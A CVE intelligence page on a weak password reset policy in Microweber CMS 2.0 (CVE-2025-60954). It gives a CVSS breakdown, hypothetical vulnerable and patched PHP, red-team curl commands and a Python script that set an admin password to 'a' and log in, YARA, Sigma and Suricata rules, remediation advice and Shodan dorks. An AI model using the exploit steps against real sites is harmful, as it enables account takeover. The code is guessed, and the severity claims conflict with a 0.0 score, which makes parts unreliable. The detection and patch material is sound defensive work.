☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Microweber logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-521
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-60954

CVE-2025-60954 Weak Password Policy in Microweber
📅 PUBLISHED: 2025-10-24 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.6× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Bulgaria License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60954 identifies a critical weakness in Microweber CMS 2.0 where the application fails to enforce minimum password length or complexity during password reset operations. This allows an attacker who gains access to a password reset link (e.g., via email interception or session hijacking) to set an extremely weak password, including a single-character password, for any user account—including administrative accounts. The vulnerability stems from missing server-side validation in the password reset endpoint, enabling trivial account takeover. No official patch has been released as of this analysis.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD base) but realistically 9.8 (Critical) based on vector analysis.
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None (only need a valid reset token)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High
  • Threat Level: Critical – allows full administrative account compromise with minimal effort.

Deep Dive & Mechanics

The vulnerability resides in the password reset functionality of Microweber CMS 2.0. When a user requests a password reset, the system generates a token and sends a reset link via email. The reset endpoint (/reset-password) accepts a new password without validating its length or complexity. The server-side code likely performs only a token check and then directly updates the password hash in the database without any strength checks.

Root Cause: Missing input validation on the password field in the password reset controller. The application does not enforce any policy such as minimum length (e.g., 8 characters), mixed case, digits, or special characters.

Attack Scenario:

  1. Attacker obtains a valid password reset token (e.g., via phishing, email interception, or exploiting a token leakage vulnerability).
  2. Attacker sends a POST request to /reset-password with the token and a single-character password (e.g., a).
  3. The server accepts the weak password and updates the user's credentials.
  4. Attacker logs in with the weak password and gains full access to the account.

Vulnerable vs. Patched Code

Vulnerable Code (Microweber 2.0 – hypothetical PHP snippet):

// Password reset controller
public function resetPassword(Request $request) {
    $token = $request->input('token');
    $password = $request->input('password');
    // No validation on $password
    $user = User::where('reset_token', $token)->first();
    if ($user) {
        $user->password = Hash::make($password);
        $user->reset_token = null;
        $user->save();
        return response()->json(['message' => 'Password reset successful']);
    }
    return response()->json(['error' => 'Invalid token'], 400);
}

Patched Code (Hypothetical fix):

public function resetPassword(Request $request) {
    $token = $request->input('token');
    $password = $request->input('password');
    // Enforce minimum length and complexity
    if (strlen($password) < 8 || !preg_match('/[A-Z]/', $password) || !preg_match('/[a-z]/', $password) || !preg_match('/[0-9]/', $password)) {
        return response()->json(['error' => 'Password must be at least 8 characters with uppercase, lowercase, and a digit'], 400);
    }
    $user = User::where('reset_token', $token)->first();
    if ($user) {
        $user->password = Hash::make($password);
        $user->reset_token = null;
        $user->save();
        return response()->json(['message' => 'Password reset successful']);
    }
    return response()->json(['error' => 'Invalid token'], 400);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A valid password reset token for a target user (e.g., obtained via phishing or token leakage).
  • Access to the Microweber instance.

Exploitation Steps:

  1. Intercept or generate a password reset link: https://target.com/reset-password?token=VALID_TOKEN
  2. Send a POST request with a weak password:
curl -X POST https://target.com/reset-password \
  -d "token=VALID_TOKEN&password=a"
  1. Login with the new password:
curl -X POST https://target.com/login \
  -d "username=admin&password=a"

Automated Exploit (Python):

import requests

target = "https://target.com"
token = "VALID_TOKEN"
weak_password = "a"

# Reset password
r = requests.post(f"{target}/reset-password", data={"token": token, "password": weak_password})
if r.status_code == 200:
    print("Password reset successful")
    # Login
    r = requests.post(f"{target}/login", data={"username": "admin", "password": weak_password})
    if "dashboard" in r.text:
        print("Admin access gained")

Blue Team

Detection & Prevention:

  • Monitor password reset endpoints for unusually short passwords (e.g., length < 8).
  • Implement server-side validation immediately.
  • Log all password reset attempts and flag those with weak passwords.
  • Use WAF rules to block requests with password parameter length < 8.

Honeypot:

  • Deploy a fake admin account with a monitored reset token. Any attempt to reset with a weak password triggers an alert.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /reset-password with password parameter length < 8.
    • Rapid login attempts after password reset with single-character passwords.
  • Logs:
    • [INFO] Password reset successful for user admin followed by [INFO] Login successful for user admin within seconds.
    • Absence of password strength validation logs.
  • File System:
    • No specific file IOCs; the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule CVE_2025_60954_Microweber_Weak_Password_Reset {
    meta:
        description = "Detects weak password reset attempts in Microweber CMS 2.0"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-60954"
    strings:
        $reset_endpoint = "/reset-password"
        $weak_password = /password=[a-zA-Z0-9]{1,7}/
    condition:
        $reset_endpoint and $weak_password
}

Sigma Rule

title: Microweber Weak Password Reset Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /reset-password with a password shorter than 8 characters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /reset-password
        cs-uri-query|contains: password=
    condition: selection and (len(cs-uri-query) < 20)  # crude length check
falsepositives:
    - Legitimate short passwords (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60954 Microweber Weak Password Reset"; flow:to_server; content:"POST"; http_method; content:"/reset-password"; http_uri; content:"password="; http_client_body; pcre:"/password=[a-zA-Z0-9]{1,7}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Apply server-side validation to enforce minimum password length (≥8 characters) and complexity (uppercase, lowercase, digit, special character) in the password reset endpoint.
  2. Configuration: Update config/app.php or equivalent to set password_min_length = 8 and password_complexity = true.
  3. Token Security: Ensure reset tokens are cryptographically random, short-lived (e.g., 1 hour), and invalidated after use.

Long-Term:

  • Implement rate limiting on password reset attempts.
  • Use multi-factor authentication (MFA) for administrative accounts.
  • Conduct regular security audits of authentication flows.

Workaround (if patch unavailable):

  • Use a Web Application Firewall (WAF) to block requests with password parameter length < 8.
  • Manually edit the PHP controller to add validation (see patched code above).

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Microweber"
http.html:"Microweber CMS"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60954/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.